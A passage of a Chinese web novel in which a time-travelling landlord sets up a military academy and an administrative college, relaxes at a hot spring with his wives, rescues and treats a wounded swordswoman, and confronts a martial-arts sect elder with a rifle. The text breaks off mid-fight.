“嘿,你这白眼狼,肉还是我给的。”江夜笑骂一句,也不恼,目光顺势下移,落在了圆子的腹部。
刚才没注意,此刻近距离一看,圆子的腹部竟然有些微微隆起,而且它趴卧的姿势也很小心,刻意避开了肚子着地。
江夜一愣,伸手摸了摸团子的脑袋:“行啊你个混球,都快当爹了?”
话音刚落,脑海中突然响起一声清脆的提示音。
【叮!检测到宿主宠物“圆子”怀有身孕!】
【家族势力宠物分支开启!】
【系统判定:家族宠物繁衍亦属于多子多福范畴。待幼崽出生后,将根据幼崽资质发放相应奖励!】
江夜动作一僵,随即嘴角疯狂上扬。
这系统,能处!
原本以为只有自己努力耕耘才有收获,没想到连养的狼生崽子都有奖励?
这简直就是意外之喜!
江夜一把搂住团子的脖子,用力揉搓着那一身厚实的狼**,眼神里满是赞赏,“干得不错!”
团子被夸得有些发懵,但感受到主人那毫不掩饰的喜爱,立刻把尾巴摇成了螺旋桨,昂首挺胸地“嗷呜”了一嗓子。
“夫君,你这是怎么了?”白梦秋好奇地凑过来,“跟一头狼傻乐什么劲?”
江夜指了指圆子的肚子,神秘一笑:“咱们家,又要添丁进口了。”
“添丁?”白梦夏一怔,随即反应过来,目光惊喜地看向圆子,“你是说……它怀上了?”
“嗯。”
这么一听,白梦夏几人更是眉开眼笑。
“我去厨房端碗羊奶来,怀着身子得补钙。”白梦秋提着裙摆就往厨房跑。
就连一向胆小的林间雪,也壮着胆子走上前,手里拿着半只烧鸡,递到圆子嘴边:“多吃点,吃饱了才有力气生宝宝。”
圆子显然没见过这种阵仗。
它警惕地盯着面前这群两脚兽,鼻尖嗅了嗅那烧鸡的香味,终究是没抵挡住诱惑,张嘴叼了过去。
见它吃了,众女更是欢喜,围着它嘘寒问暖,恨不得把它供起来。
至于团子……
刚才还被主人夸得天花乱坠,转眼间就被挤到了人群外围。
它试图往圆子身边凑,却被慕容晴一脚轻轻挡了回来。
“去去去,一边玩去,别**手毛脚的伤着你媳妇。”
团子委屈地呜咽一声,转头看向江夜,眼神里满是控诉。
江夜耸耸肩,给了它一个爱莫能助的眼神。
这就是家庭地位,认命吧。
……
接下来的几日,稻花村依旧安宁祥和,但江夜的书房里,气氛却有些凝重。
随着青石、长林两县打通,地盘扩大了一倍不止,原本那套草台班子的管理模式,彻底捉襟见肘了。
“东家,俺真的干不来了。”
王囤顶着两个大大的黑眼圈,把一摞公文往桌上一摊。
“长林县那边,那个叫赵铁柱的虽然忠心,但他大字不识一个啊!昨天为了分发种子,差点跟当地的里正打起来,就因为账目对不上。”
**在一旁也是愁眉苦脸:“账房也不够用了。两县的税收、商贸往来、工坊的支出,现在的账目乱得像团麻。咱们从青石县调来的那几个账房先生,算盘都要打冒烟了。”
江夜坐在太师椅上,看着堆积如山的公文,眉头紧锁。
打江山易,守江山难。
他现在手里有枪有炮,神机营的战斗力在这个时代那是降维打击。
但治理地方,靠枪杆子是不行的。
需要人才。
懂算术的、懂刑律的、懂农桑的,还有能带兵打仗的军官。
现在的神机营,全靠他和王囤几个人撑着,底下的士兵虽然勇猛,但也就是听令行事的莽夫。
一旦规模扩大到几千人,这种指挥体系绝对会崩盘。
“不能再这么下去了。”
江夜手指轻轻敲击着桌面,发出有节奏的笃笃声。
王囤和**对视一眼,都闭上了嘴,等着江夜的决断。
“招人是来不及了,而且外人我也不放心。”江夜站起身,走到窗前,看着远处正在操练的护院队,“咱们得自己培养人才。”
“啊?怎么培养?”王囤一脸茫然。
江夜转过身,眼神锐利:“传令下去,在青石县原县衙旧址,设立‘
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讲武堂’和‘行政学院’。”
“讲武堂,选拔军中精锐,不论出身,只看能力。我要教他们怎么打仗,怎么带兵,怎么看地图,怎么用新式武器。”
“行政学院,从两县招募识字的童生、秀才,甚至是聪明的平民子弟。教他们算术、律法、统筹、管理。”
王囤听得似懂非懂,但大受震撼:“东家,那谁来教啊?咱们这也没先生啊。”
“我教。”
江夜指了指自己的脑袋,“先生就在这儿。”
王囤闻言,眼中闪过一丝火热;“是,东家,我这就去办。”
……
接下来的五天,江夜直接闭关了。
除了吃饭睡觉,他一步也没迈出书房。
白梦夏心疼坏了,每天变着法地炖补汤送进去,却也不敢多打扰,只能看着书房彻夜不熄的灯火暗自担忧。
江夜正在做一件在这个时代看来惊世骇俗的事情——编写教材。
他结合脑海中的现代管理学和军事理论,大刀阔斧地进行删减和魔改。
昏黄的油灯下,江夜奋笔疾书。
《初级步兵操典》——被他去掉了复杂的电子战和空地协同,保留了队列训练、射击纪律、班排战术、战壕修筑和野外生存。
重点强调了“服从”和“纪律”,这是近代军队与封建军队的本质区别。
《基础行政管理》——如何统计人口,如何丈量土地,如何建立档案,如何防止贪腐。
《后勤统筹学》——怎么运粮,怎么保存**,怎么建立补给线。
当最后一本教材编写完成时,江夜看着桌上那厚厚的一摞手稿,长长地舒了一口气。
他揉了揉酸痛的手腕,推开窗户。
“王囤!”
江夜对着院外喊了一声。
早已候在门外的王囤立刻推门而入:“东家,您吩咐。”
江夜指了指桌上的手稿:“拿去印刷坊,用最好的纸,最快的速度,给我印出来。另外,放出风去,讲武堂和行政学院,下个月初一,正式招生!”
王囤看着那几本书,虽然看不懂内容,但他能感觉到,这几本书的分量之重。
“是!俺这就去办!”
看着王囤远去的背影,江夜长出了一口气。
“终于……可以歇会了。”
第260章 寒门龙门,贤妻挂帅
消息一放出,便在一夜之间飞遍了青石、长林两县。
“讲武堂?行政学院?那是啥玩意儿?”
长林县城门口,告示栏前被围得水泄不通。
一个穿着破烂长衫的落魄童生,正被一群大字不识的泥腿子围在中间。
“念啊!秀才公,这上面写的到底是啥?”一个挑着粪桶的汉子急得直跺脚。
那童生手都在抖:“上面说……江大人开办学堂,不问出身,不看门第。
只要通过考核,不仅管吃管住,每月还有二两银子的津贴!若是成绩优异,甚至能……为官!”
“轰!”
人群瞬间沸腾。
在这个万般皆下品,唯有读书高的年代,普通人想要翻身比登天还难。
世家大族垄断了上升的通道,泥腿子世世代代只能是泥腿子。
可现在,江夜把这扇焊死的铁门,硬生生踹开了一条缝。
“不用给县太爷送礼?”
“不用你是举人老爷的亲戚?”
“只要有本事就行?”
得到肯定的答复后,无数双原本麻木的眼睛里,燃起了名为野心的火焰。
报名当天,青石县、长林两县的人潮简直要把门槛踏平。
有提着杀猪刀满脸横肉的屠夫,有瘦得皮包骨头却目光炯炯的穷书生。
王囤带着神机营维持秩序,看着这黑压压的人头,只觉得头皮发麻。
“乖乖,这得多少人啊?东家这招,简直是在往油锅里泼水。”
……
稻花村,江府书房。
江夜坐书案边。
两县合并,事务繁杂程度呈几何倍数增长。
虽然招募令发出去了,但远水解不了近渴,眼下这一堆烂摊子还得他亲自处理。
流民的安置、春耕的种子分配、两县商路的打通、还有那乱七八糟的陈年旧账……每一件事都像是一团乱麻。
“啪。”
江夜把毛笔往桌上一扔,整个人瘫在太师椅上,一脸生无可恋。
“**我在行,搞这些弯弯绕绕的东西真是要我命!”
就在这时,一只素手端着一杯参茶,轻轻放在了案头。
沈砚秋今日没穿那身掩人耳目的男装,而是换了一身淡紫色的襦裙,头发随意挽了个髻,少了几分官场上的凌厉,多了几分女子的柔美。
“怎么不在屋里歇着?”江夜拉过她的手,让她在旁边坐下。。
“我又不是纸糊的。”沈砚秋白了他一眼,顺手拿起**夜扔在一边的账册,随手翻了两页,眉头微蹙,“这账做得确实烂,只有进项没有出项,一看就是假账。”
“你也看出来了?”江夜苦笑。
沈砚秋合上账册,指尖在封面上轻轻敲击,那种熟悉的节奏感让江夜一愣。
这是她以前在县衙掌权时思考问题的习惯。
“夫君,这摊子事,交给我吧。”沈砚秋抬起头,目光灼灼。
“不行。”江夜想都没想就拒绝,“你才脱下官服几天,还没好好休息休息,陪陪孩子,这些破事我再熬几个通宵也就理顺了。”
沈砚秋有些好笑地看着他,“你是想把自己熬干,还是想让我看着心疼?
她站起身,走到江夜身后,替他轻轻按揉着肩膀:“我在后院待得都要发霉了。
平日里孩子都是奶娘照顾,闲着也是闲着。
再说了,这本来就是我的老本行,处理这些公文,比让我绣花容易多了。”
沈砚秋手上的力度稍微加重了一点,“你就让我试试吧。”
这一声“试试嘛”,带着几分少有的撒娇意味,听得江夜骨头都酥了半边。
他转过身,看着沈砚秋眼中那渴望的光芒。
她本就不是那种甘愿待在后院的女子,她是曾经治理一方的父母官。
“好。”江夜终于松口,“不过你要是累了,随时和我说。”
沈砚秋眼中闪过一丝狡黠的笑意,俯身在他脸上啄了一口:“遵命。”
……
当天下午,江夜便签署了一份特殊的任命书。
沈砚秋被任命为“青石、长林两县总行政官”,统管民生、财政、刑名一切事宜。
这一任命,起初还有人不服。
然而,仅仅三天。
沈砚秋坐在公堂之上,一身威压得人喘不过气。
她对两县的律法倒背如流,对钱粮账目更是一眼就能看出猫腻。
几个企图在流民粮款上动手脚的小吏,被她当场揪出,直接扔进了大牢。
混乱的流民安置点,在她的规划下变得井井有条;纠缠不清的商贸**,被她三言两语理清脉络,判得双方心服口服。
那些原本等着看笑话的老油条们,一个个吓得冷汗直流,再也不敢有半分轻视,办事效率高得吓人。
十天后。
江夜看着**送来的最新报表。
账目清清爽爽,库存一目了然,甚至连下一步的发展规划都做得详详细细。
“神人啊。”
江夜把报表往桌上一扔,舒服地伸了个懒腰,对着正在给圆子梳**的白梦夏感叹道:“梦夏,咱家这是娶了个女诸葛回来。家有贤妻,夫复何求啊!”
白梦夏笑着给他剥了个橘子:“沈妹妹确实能干,倒是把你闲坏了。”
“闲点好,闲点好。”江夜咬了一口橘子,汁水四溢,“既然正事有人干了,咱们也该找点乐子了。”
他转头看向窗外。
此时已是阳春三月,积雪消融,远处的青山泛起了一层新绿。
连日来的高强度运转,让他整个人都有些紧绷。
既然政务有了沈砚秋坐镇,军事训练步入正轨,江夜动了心思。
江夜站起身,大手一挥,“咱们踏青去!”
“踏青?”白梦秋听到这个词,眼睛亮得像两颗星星,“真的吗夫君?我们可以出去玩?”
“当然。”江夜捏了捏她的小手,“我带你们去个好地方。”
……
次日清晨,一支浩浩荡荡的车队驶离了稻花村。
这车队规格极高,四周全是全副武装的神机营战士,甚至
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还有几名死士在暗处随行。
马车也是经过江夜特意改造的,加装了减震弹簧,铺了厚厚的软垫,即便是在山路上也如履平地。
车内,香风阵阵。
白梦夏像只好奇的小猫一样趴在窗边:“夫君,咱们这是要去哪儿呀?”
“到了你就知道了。”江夜神秘一笑。
车队驶入深山,穿过一片茂密的竹林,眼前豁然开朗。
只见一处山谷之中,雾气蒸腾。
这是一处天然的硫磺温泉,水温适宜,周围怪石嶙峋,几株早开的桃花在雾气中若隐若现,宛如仙境。
“清场。”
江夜一声令下。
死士们迅速散开,占据了周围的制高点,神机营则在山谷外围拉起了警戒线。
巨大的帷幔被挂起,将这处温泉围成了一个私密的小天地。
“好美啊!”
众女下了马车,看着这云蒸霞蔚的美景,一个个惊叹不已。
就连一向清冷的沈砚秋,此刻也是眉眼舒展,连日来的疲惫似乎都消散了不少。
“别光看着。”江夜从马车后的箱子里拿出一个包裹,“去那边的帐里,把衣服换了。”
“换衣服?”慕容晴接过包裹,打开一看,顿时瞪大了眼睛,脸颊飞起两朵红云。
包裹里,是几套颜色各异的衣物。
这是江夜动特意为她们缝制的“泳衣”。
众女面面相觑,虽然羞涩,但毕竟不是第一次穿这个衣物,很快便接受了,一个个红着脸钻进了帐内。
片刻后。
一阵窸窸窣窣的声音传来。
当帐篷帘子被掀开的那一刻,江夜觉得自己的呼吸都停滞了一瞬。
白梦秋穿着一身鹅黄色的连体泳衣,腰身纤细,裙摆下露出一双笔直白皙的小腿。
白梦夏则是一身淡青色的分体式,上身是荷叶边的设计,巧妙地遮住了丰腴的胸线,下身是高腰裙裤,端庄中透着一丝别样的风情。
慕容晴最大胆,选了一套火红色的,紧致的布料勾勒出她常年习武练就的火爆身材,那股子野性和活力扑面而来。
林间雪最是害羞,她穿了一身黑色的泳衣,腰侧是镂空的蕾丝,将本就丰满的身材展现得淋漓尽致。
沈砚秋穿了一身淡紫色的修身款,腰肢依旧纤细,站在雾气中,宛如凌波仙子。
“夫君……。”白梦秋红着脸,不敢看江夜。
江夜大笑着脱去外袍,率先跳进了温泉里,溅起一片水花。
“下来吧!这水舒服得很!”
众女见状,也慢慢放下了矜持。
当温热的泉水包裹住身体的那一刻,所有的疲惫和羞涩都化作了惬意。
白梦秋坐在池边的台阶上,小心翼翼地把脚伸进水里,舒服地眯起了眼睛:“哇,真的好舒服呢。”
慕容晴则像条美人鱼一样,在水里游了一圈,泼了江夜一脸水:“夫君,看招!”
“好啊,敢偷袭家主!”江夜大笑着反击。
一时间,山谷里充满了欢声笑语。
第261章 温泉惊变,青衣折剑
江夜靠在青石边,他微眯着眼,双臂舒展搭在池沿,指尖偶尔划过水面,荡起层层涟漪。
“夫君,张嘴。”
白梦秋划着水凑到跟前,她那身鹅黄色的泳衣湿漉漉地贴在身上。
两根纤细的手指捏着一颗剥了皮的晶莹葡萄,送到了江夜嘴边。
江夜也不客气,一口咬住葡萄,顺带着在那如葱般的指尖上轻嘬了一下。
“呀!”白梦秋触电般缩回手,脸上飞起两朵红云,嗔怪地瞪了他一眼,却又忍不住咯咯直笑,转身扑腾起一片水花。
身侧,林间雪正红着脸,替他按揉着肩膀。
那件黑色镂空泳衣最为大胆,偏偏穿在最害羞的人身上,这种反差感让江夜心头火热。
她低垂着眉眼,不敢看江夜灼热的目光,手上的力道却恰到好处,柔若无骨。
不远处,慕容晴正和沈砚秋比试闭气。
慕容晴猛地钻出水面,甩了甩湿漉漉的长发,水珠飞溅:“沈姐姐,这回可是我赢了!”
沈砚秋优雅地抹去脸上的水珠,那件淡紫色的泳衣衬得她肌肤胜雪,她淡淡一笑,透着股慵懒的风情:“让你一次又何妨。”
江夜看着这一幕,心中是前所未有的满足。
突然。
“嗷呜——!”
一声低沉且急促的狼嚎,陡然撕裂了这旖旎的氛围。
原本正趴在岸边打盹的团子,猛地从地上弹起。
它那一身银白色的毛发根根炸立,压低了身子,喉咙里发出威胁的低吼,死死盯着东南方向的一片密林。
就连圆子,也迅速站到了团子身旁,露出了森白的獠牙。
水池中的嬉笑声戛然而止。
慕容晴反应最快,一把抄起岸边的软鞭,眼神瞬间变得凌厉。
江夜眼中的慵懒在刹那间消散,取而代之的是如刀锋般的锐利。
他并没有惊慌失措,而是冷静地抬手,做了一个手势。
“上岸,穿衣。”
众女没有丝毫迟疑,哪怕是平时最爱撒娇的白梦秋,此刻也乖巧地迅速爬上岸,钻进帷幔遮挡的账内。
江夜随手扯过大氅披在身上,遮住精壮的身躯,目光冷冷地锁死那片密林。
几道黑影如同鬼魅般从山岩后掠出,那是随行的死士。
他们手中的连**已经上弦,呈扇形向密林逼近。
“哗啦——”
灌木丛剧烈晃动,枯枝断裂的声音在寂静的山谷中显得格外刺耳。
没有任何预警,一道青色的身影踉踉跄跄地从林子里撞了出来。
那人似乎已经耗尽了最后一丝力气,刚冲出草丛,脚下一个拌蒜,重重地摔在满是碎石的河滩上。
“什么人!”
死士并未因为对方倒下就放松警惕,连**依旧指着那人的要害。
江夜微微眯眼,挥了挥手示意死士暂缓动手,自己则大步走了过去。
走近了才看清,这是一名女子。
她身上那件原本质地精良的青色劲装,此刻已经变成了暗红色的破布条。
后背上,一道伤口从左肩一直延伸到后腰,皮肉翻卷,鲜血还在汩汩地往外冒。
似乎是察觉到了有人靠近,女子艰难地用断剑撑着地面,试图爬起来。
她缓缓抬起头,露出一张冷傲绝美的脸,是一种带着清冷与锋利的绝俗之美,哪怕此刻狼狈至极,也难掩那一身傲骨。
“救……救……”
女子看清了眼前并非敌人,紧绷的神经骤然一松。
手中的断剑“哐当”一声落地,整个人彻底昏死过去。
此时,众女也已换好了衣裳走了出来。
“天呐……”白梦秋捂住嘴,看着那满地的鲜血,眼中满是不忍,“她流了好多血。”
白梦夏被那狰狞的伤口吓得手一抖:“夫君,这人伤得太重了,怕是……”
慕容晴蹲下身,查看了一下那把断剑,眉头紧锁:“这是精钢打造的好剑,能把这种剑崩断,对方是个高手,而且看这伤口……像是马刀砍的。”
江夜蹲下身,两指搭在女子的颈动脉上。
脉搏细弱游丝,且极其紊乱。
如果不救,这女人活不过半个时辰。
“不是刺客。”江夜迅速做出了判断。
这女人身上只有逃亡的痕迹,没有潜伏的杀气。
而且看这伤势,能撑着跑到这里已经是奇迹了。
“带回去。”<
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br>江夜站起身,果断下令,“把马车里的软垫腾出来,让几个人抬着她,别颠着伤口。”
……
回到稻花村时,天色已近黄昏。
马车直接驶入了内院。
江夜抱着那个青衣女子,大步流星地冲进了一间僻静的客房。
“热水,烈酒,干净的白布,越多越好!”
江夜一边吩咐,一边将女子放在床上,让她趴着,以免压迫伤口。
众女虽然担心,但也知道此刻帮不上忙,只能按照江夜的吩咐去准备东西。
“都出去吧,砚秋守在门口,任何人不得靠近。”
江夜关上房门,插上门栓。
房间里只剩下他和昏迷不醒的青衣女子。
他深吸一口气,意念一动。
【叮!现代医疗舱开启。】
一个银白色的金属箱子凭空出现在桌上。
虽然系统奖励的是医疗舱,但以目前的条件,那种全自动修复的大型设备还没法拿出来解释。
好在系统人性化地配备了便携式的急救手术包。
江夜打开箱子。
手术刀、止血钳、医用缝合线、抗生素、麻醉剂……一应俱全,在烛光下闪烁着冷冽的金属光泽。
“得罪了。”
江夜低语一声,拿起剪刀,剪开了女子背后的衣物。
伤口被血痂和衣物纤维粘连在一起,看起来触目惊心。
江夜带上医用手套,眼神瞬间变得专注而冷静,仿佛变了一个人。
他先是用棉球蘸着酒精,清理伤口周围的血污。
“嘶……”
即便是在昏迷中,剧烈的疼痛还是让女子的身体本能地抽搐了一下,眉头紧紧皱起,发出一声痛苦的闷哼。
“忍着点。”
江夜动作不停,手中手术刀飞快地剔除腐肉。
清创、止血、缝合。
银色的缝合针带着羊肠线,在皮肉间穿梭。
江夜的额头渗出了细密的汗珠。
半个时辰后。
最后一道线缝合完毕。
江夜剪断线头,撒上云南白药,又用无菌纱布将伤口层层包扎好。
做完这一切,他才长出了一口气,脱下手套,只觉得腰酸背痛。
第262章 仙界琉璃,神药惊魂
夜色深沉,稻花村万籁俱寂,唯有江府的一处客房内,灯火通明。
不知过了多久,柳如烟眼皮颤动,费力地撑开一道缝隙。
入眼是一片刺目的白光。
她本能地想要弹身而起,右手习惯性地摸向腰间,却抓了个空。
“嘶——”
剧烈的动作牵扯到背后的伤口,疼得她倒吸一口凉气,身子重重跌回床上。
这是哪?
阴曹地府?
柳如烟强忍着眩晕,警惕地打量四周。
这一看,原本冷冽的眸子里瞬间涌上惊涛骇浪。
头顶上方,悬挂着一颗拳头大小的“珠子”。
那珠子并没有火苗跳动,却散发着比正午阳光还要纯净的光芒,将整个屋子照得纤毫毕现。
这是……传说中的夜明珠?
哪怕是皇宫大内,也没听说过有如此亮度、如此纯净的夜明珠!
视线再转,落在床头的案几上。
那里放着一个杯子。
通体透明,毫无杂质,盛着半杯清水。
在灯光的折射下,杯壁流转着七彩的光晕,晶莹剔透得仿佛是用最纯净的冰雪雕琢而成。
“琉璃……不,这是水晶?”
柳如烟心中震颤,如此大块且毫无瑕疵的水晶,便是倾尽一国之力也难寻,此刻竟被随意用来盛水?
一个荒谬的念头在她脑海中浮现:难道自己已经**?这里是传说中的仙界?
就在她惊疑不定之时,房门“吱呀”一声被人推开。
柳如烟浑身肌肉瞬间紧绷,死死盯着门口。
江夜端着一个托盘走了进来,盘子里放着一碗热气腾腾的肉粥,米香混合着肉香,瞬间钻入柳如烟的鼻腔。
“醒了?”
江夜随手关上门,见她一脸戒备地缩在床角,不由得挑了挑眉,“看来命挺硬,流了那么多血还能这么精神。”
柳如烟目光如刀,紧盯着这个男子。
“你是何人?此乃何处?”
声音虽虚弱,透着一股冷意。
江夜把托盘放在桌上,拉过一张椅子坐下,翘起二郎腿:“我是救你命的人,这里是稻花村。”
“稻花村?”柳如烟眉头紧锁,这名字听着就是个乡野村落,可这屋内的陈设,哪怕是王府也比不上万一。
“我明明在山中被追杀……”
“确实是在被追杀。”江夜指了指她背后的伤,“被人砍了一刀,差点把脊椎都给剁断了。要不是正好撞上我带媳妇踏青,你现在已经被野狼分尸了。”
柳如烟低头看了一眼自己身上。
原本的血衣已被换下,此时穿着一件宽大的中衣,布料柔软舒适。
“我的衣服……”
“扔了,全是血和泥。”江夜耸耸肩,端起那碗肉粥,“行了,先把这粥喝了,补补元气。”
柳如烟没动。
江湖险恶,谁知道这粥里有没有毒?更何况这男人出现的太过诡异,这屋子的一切都透着古怪。
见她不动,江夜也不恼,只是似笑非笑地看着她:“我要是想杀你,刚才你昏迷的时候有一百种死法。”
话糙理不糙。
柳如烟咬了咬牙,肚子里的饥饿感确实让她难以忍受。
就在这时,门外传来轻柔的脚步声。
“夫君,那位姑娘醒了吗?”
门帘掀开,白梦夏端着一盆温水,林间雪手里拿着干净的布巾和伤药,一前一后走了进来。
柳如烟瞳孔微缩。
好美的女子。
白梦夏一身素雅长裙,眉眼温婉,端庄大气;林间雪虽然低着头有些羞涩,但那丰腴的身段和妩媚的眉眼同样令人惊艳。
最重要的是,她们身上的气质。
那种由内而外散发出的安宁与幸福感,是在乱世中极难见到的。
“呀,真的醒了。”白梦夏看到柳如烟,脸上露出真切的喜色,快步走上前,“姑娘,你觉得怎么样?伤口还疼吗?”
林间雪也怯生生地看了她一眼,小声道:“流了好多血,肯定很疼吧……”
没有杀气,没有算计。
只有纯粹的关心。
柳如烟行走江湖多年,见惯了尔虞我诈,此刻面对这两个女子真挚的眼神,心中那堵高筑的防线竟莫名松动了几分。
“多谢……二位夫人。”柳如烟声音有些干涩。
“姑娘不必客气。”白梦夏拧干了热毛巾,想要帮她擦拭额头的冷汗。
柳如烟下意识地偏头躲过,随即意识到自己反应过度,有些僵硬地停住。
白梦夏并不介意,温柔地替她擦去脸上的污渍:“别怕,到了这儿就安全了。”
这话若是别人说,柳如烟只会觉得狂妄。
但这温柔似水的女子说出来,却透着一股理所当然的底气。
江夜此时站起身,从怀里掏出一个银白色的金属瓶子
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,正是医疗舱配备的纳米修复喷雾,和生肌止痛膏。
“把衣服脱了。”江夜淡淡道。
“你!”柳如烟苍白的脸上瞬间涌起一抹羞愤的红晕,“登徒子!”
“想什么呢?”江夜翻了个白眼,“让你趴着,让雪儿给你换药。你那伤口缝了三十多针,不换药感染了,神仙也救不回你。”
说完,他将药瓶递给林间雪,交会她使用方法,才转身走出了房间,顺手带上了门。
屋内只剩下三个女人。
气氛稍微缓和了一些。
“姑娘别怕,夫君他是嘴硬心软。”白梦夏笑着走上前,动作轻柔地扶着柳如烟翻身。
柳如烟咬着嘴唇,终究是没有反抗。
当背后的衣物被剪开,露出那条狰狞如蜈蚣般的伤口时,林间雪倒吸了一口凉气,眼眶瞬间红了:“这也太狠了……”
林间雪对准伤口,按下了喷头。
“嗤——”
一声轻微的气流声响起。
柳如烟本能地浑身紧绷,等待着那传说中金疮药洒在伤口上的剧烈刺痛。
然而,预想中的剧痛并没有到来。
取而代之的,是一股难以言喻的清凉。
那喷雾落在伤口上,瞬间抚平了所有的灼烧与痛楚。
原本火辣辣的背部,此刻竟感到一阵酥酥麻麻的舒适。
柳如烟猛地睁开眼,满脸不可置信。
她见过的江湖圣药见过不知凡几,哪怕是千金难求的“玉露散”,敷上去也要疼个半死才能见效。
“这是何药?”她声音颤抖。
林间雪被她看得有些慌,小声道:“夫君说,这叫……消毒喷雾。还要涂这个膏药,说是不会留疤。”
说着,她用手指挑起一点透明的药膏,小心翼翼地涂抹在伤口边缘。
药膏触肤即化,清凉感渗入骨髓,柳如烟只觉得整个人都活过来了,紧皱的眉头彻底舒展。
换完药,林间雪端过温热的肉粥,舀了一勺递到她嘴边。
“姑娘,先把粥喝了吧,夫君特意吩咐厨房熬得久些,好克化。”
“多谢两位姐姐。”柳如烟低声道。
她喝着粥,目光落在不远处那盏明亮的“神灯”上,心中惊涛骇浪。
能起死回生的医术,闻所未闻的神药,亮如白昼的奇灯,还有这满屋子绝色却甘愿侍奉一人的女子。
这个男人,究竟是什么人?
第263章 世外桃源,血煞压境
接连三日,柳如烟的伤势终于有所好转。
她披着一件厚实的狐裘,在林间雪的搀扶下,艰难地挪步至窗前。
透过那名为玻璃的神奇物件,窗外的景象清晰得毫发毕现,既挡住了冷风,又不阻隔半分日光。
这等宝物,便是大宣皇宫的御书房也不曾拥有,在这里,竟只是寻常人家的窗户。
“那是……路?”柳如烟指着窗外那条宽阔平整、呈灰白色的路面,瞳孔微震。
没有泥泞,没有车辙印,平整得如同整块巨石打磨而成。
林间雪笑着点头:“夫君管这叫水泥路,说是下雨天不湿鞋,车马跑起来也快。”
路上,几个孩童正追逐打闹,手里举着糖葫芦,脸色红润,身上穿着没有补丁的新棉袄。
更远处,农人们扛着锄头下地。
路边的沟渠里流淌着清澈的水,巨大的水车自行转动,将水送入高处的田垄。
这里没有流民,没有乞丐,甚至连看家护院的狗都长得膘肥体壮。
“这就是稻花村……”柳如烟喃喃自语。
外界早已是易子而食、白骨露野的人间炼狱,而这稻花村,竟是炊烟袅袅、鸡犬相闻的世外桃源。
“雪儿姐姐。”柳如烟收回目光,眼神复杂,“这里……一直是这样吗?”
林间雪扶着她坐回软塌:“也不是,以前大家连饭都吃不饱。是因为夫君才了变样的。”
提起江夜,白梦夏眼中满是崇拜的光芒。
“安心养伤吧。”林间雪拍了拍她的手背,“在这里,没人能伤你。”
……
又过了三日。
清晨,大雾弥漫。
一声尖锐的哨响,陡然刺破了稻花村的晨曦。
紧接着,村口的瞭望塔上传来急促的钟声。
“当!当!当!”
正在院中逗弄圆子的江夜,动作微微一顿。
他直起身子,原本慵懒的神色瞬间收敛,取而代之的是一抹令人心悸的冷意。
“夫君?”正在晾晒衣裳的白梦秋有些慌乱地看向他。
“带孩子们回内院。”江夜语气平静,“我不叫你们,谁也不许出来。”
话音未落,一股恐怖的音浪,裹挟着浑厚的内力,从村口遥遥传来。
“柳如烟!老夫知道你躲在里面!”
“稻花村的贱民们,交出那**,否则——鸡犬不留!”
这声音阴冷刺耳,仿佛是从九幽地狱爬出来的恶鬼。
客房内。
柳如烟听到这声音的瞬间,脸色煞白如纸。
“血煞门……鬼刀长老!”
她身子剧烈颤抖,那是刻在骨子里的恐惧与仇恨。
柳如烟猛地掀开被子,顾不得背后的伤口的疼痛,踉跄着就要下床。
她不能连累这里。
这里太美好了,那些孩子,那些温婉的女子,那个给她治伤的男人……他们不该被卷入江湖的血雨腥风之中。
血煞门行事狠辣,说到做到,若是找不到她,真的会屠尽整个村子!
“你要去哪?”
一道身影挡在了门口。
江夜双手抱胸,倚在门框上,神色淡漠地看着她。
“让开!”柳如烟咬着牙,额头上冷汗涔涔,“那是血煞门的长老,半步宗师的高手!你们挡不住的!让我出去,我引开他们……”
江夜嗤笑一声,走上前,单手按住她的肩膀。
“你也太小看我江某人了。”
“你根本不知道他们有多可怕!”柳如烟急得眼眶通红,声音嘶哑,“他们**如麻,内力可碎金裂石,你那些护院虽然强壮,但在内家高手面前,根本……”
江夜打断了她,嘴角勾起一抹不屑的冷笑,目光投向门外那嘈杂的方向。
他伸手帮柳如烟掖了掖被角,语气却狂妄。
“不过是一群土鸡瓦狗,也敢在我家门口狺狺狂吠。”
说罢,他转身便走。
“好好躺着。”
……
稻花村村口。
原本平整的水泥地上,此刻多了一道深深
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的刀痕。
十几个身穿血色长袍的怪人一字排开,他们个个面容狰狞,手持鬼头大刀。
为首的一名老者,须发皆红,干枯的手掌如鹰爪般扣在刀柄上。
他便是血煞门的长老,厉鬼刀。
王囤握着一把特制的精钢陌刀,死死盯着厉鬼刀。
“老东西,俺不管你是谁,再往前一步,死!”
“死?”厉鬼刀像是听到了什么天大的笑话,仰天狂笑,震得周围树叶簌簌落下,“一群种地的泥腿子,也配跟老夫谈死字?”
他随手一挥,一道无形的刀气破空而出。
“轰!”
王囤面前的水泥地瞬间炸裂,碎石飞溅,在他脸上划出一道血痕。
“交出柳如烟,否则,老夫每过十息,便杀一人!”厉鬼刀眼中满是嗜血的光芒。
就在这时,一阵不急不缓的脚步声传来。
“你要杀谁?”
人群自动分开。
江夜身披黑色大氅,腰间别着那把经过改良的**。
在他身后,“夜枭”队员,悄无声息地散开,占据了各个有利地形。
他们手中拿的,是江夜耗费无数心血,用初级工业母机搓出来的——栓动**。
厉鬼刀眯起眼睛,打量着这个毫无内力波动的年轻人。
“你就是这里的地主?”
“正是。”江夜淡然一笑。
“交出柳如烟!”厉鬼刀冷哼一声。
江夜勾唇:“人就在里面,能不能带走,就看你的本事了。”
鬼厉长老眼神轻蔑:“你不会觉得,凭这十几个人?拿着几根烧火棍,能拦住老夫?”
他身后的血煞门弟子更是哄堂大笑。
“长老,这群乡巴佬怕是连刀都没摸过吧?”
“那铁管子是用来吹火的吗?哈哈哈!”
“这地主细皮嫩肉的,待会儿抓回去给门主当个男宠倒是不错!”
听着这些污言秽语,江夜脸上的表情没有丝毫变化,只是眼底的寒意越来越浓。
第264章 时代变了
厉鬼刀的耐心显然已经耗尽。
他堂堂血煞门长老,半步宗师的强者,竟被一个乡野地主如此轻慢。
“无知小儿,既然你想死,老夫便成全你!”
厉鬼刀一声暴喝,周身暗红色的真气猛然爆发,衣袍鼓荡如铁。
下一瞬,他身形一闪,原地竟只留下一道残影。
手中那柄鬼头大刀在内力的灌注下,发出凄厉的呜咽声,一道足有数米长的暗红色刀气破空而出。
面对那足以开山裂石的一刀,江夜没有躲。
他只是在大氅下一掏,手中多了一把造型古怪的长条状铁器——正是56式**。
**抵肩,准星锁定。
看着扑面而来的狰狞面孔,江夜嘴角勾起一抹冷酷的弧度,食指轻轻扣动了**。
“砰!”
一声清脆且爆裂的枪响,骤然炸响在稻花村的上空。
这声音透着一股撕裂一切的尖锐。
半空中。
“噗。”
一声闷响。
